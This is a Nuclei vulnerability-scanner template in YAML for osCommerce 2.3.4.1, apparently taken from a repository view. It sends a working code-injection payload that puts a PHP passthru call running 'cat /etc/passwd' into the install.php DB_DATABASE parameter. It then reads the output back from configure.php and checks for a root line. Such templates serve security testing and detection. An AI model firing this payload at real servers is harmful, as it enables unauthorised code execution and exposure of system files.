nuclei-templates/http/vulnerabilities/oscommerce/oscommerce-rce.yaml

41 lines
1.3 KiB
YAML
Raw Normal View History

2021-07-15 12:59:24 +00:00
id: oscommerce-rce
info:
name: osCommerce 2.3.4.1 - Remote Code Execution
author: Suman_Kar
severity: high
description: osCommerce 2.3.4.1 is susceptible to remote code execution via install.php. A remote attacker can inject PHP code into the db_database parameter and subsequently use the configure.php page to to read the command's executed output.
reference:
- https://www.exploit-db.com/exploits/50128
- https://github.com/nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: rce,oscommerce,edb
http:
- raw:
- |
2021-07-15 12:58:08 +00:00
POST /install/install.php?step=4 HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
DIR_FS_DOCUMENT_ROOT=.%2F&DB_DATABASE=%27%29%3Bpassthru%28%27cat+%2Fetc%2Fpasswd%27%29%3B%2F%2A
- |
2021-07-15 12:58:08 +00:00
GET /install/includes/configure.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
2021-07-15 12:58:08 +00:00
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-15 12:58:08 +00:00
part: body
- type: status
status:
- 200
# digest: 4b0a004830460221008274a4ede2e0063c0b03285190b353747db67f9d7a3ac856eaf2723ff92d3a520221008f4b0189802e1788d7d4f5afbc8100b5f8f7294f62cd5584f20b8c9cb6a20961:922c64590222798bb761d5b6d8e72950